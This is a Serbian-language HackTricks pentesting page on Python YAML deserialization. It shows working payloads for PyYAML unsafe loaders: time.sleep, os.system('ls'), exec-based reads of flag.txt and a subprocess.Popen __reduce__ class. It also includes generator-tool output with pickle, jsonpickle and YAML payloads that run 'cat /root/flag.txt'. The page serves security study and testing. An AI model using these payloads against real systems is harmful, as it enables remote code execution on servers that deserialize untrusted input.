hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md
2024-02-10 13:11:20 +00:00

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Yaml Deserializacija

Yaml python biblioteke takođe mogu da serijalizuju python objekte a ne samo sirove podatke:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Proverite kako tuple nije sirovi tip podataka i stoga je bio serijalizovan. Isto se dogodilo i sa range (uzeto iz ugrađenih funkcija).

safe_load() ili safe_load_all() koriste SafeLoader i ne podržavaju deserijalizaciju objekata klase. Primer deserijalizacije objekta klase:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Prethodni kod koristi unsafe_load za učitavanje serijske klase u Pythonu. To je zato što u verziji >= 5.1 ne dozvoljava da se deserijalizuje bilo koja serijska klasa ili atribut klase, ako nije specificiran Loader u load() ili Loader=SafeLoader.

Osnovni napad

Primer kako izvršiti sleep:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Ranjiv .load("\<sadržaj>") bez Loader-a

Stare verzije pyyaml-a su bile ranjive na napade deserializacije ako niste specificirali Loader prilikom učitavanja nečega: yaml.load(data)

Možete pronaći opis ranjivosti ovde. Predloženi eksploit na toj stranici je:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Ili možete koristiti ovaj jednolinijski kod koji je pružio @ishaack:

import yaml; print(yaml.load('!!python/object/apply:os.system ["ls"]', Loader=yaml.Loader))
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Napomena da u novijim verzijama više ne možete pozvati .load() bez Loader-a i FullLoader više nije ranjiv na ovaj napad.

RCE

Prilagođeni payloadi mogu biti kreirani korišćenjem Python YAML modula kao što su PyYAML ili ruamel.yaml. Ovi payloadi mogu iskoristiti ranjivosti u sistemima koji deserijalizuju nepouzdane ulaze bez odgovarajuće sanitizacije.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Alat za kreiranje Payloada

Alat https://github.com/j0lt-github/python-deserialization-attack-payload-generator može se koristiti za generisanje python deserialization payloada kako bi se iskoristili Pickle, PyYAML, jsonpickle i ruamel.yaml:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Reference

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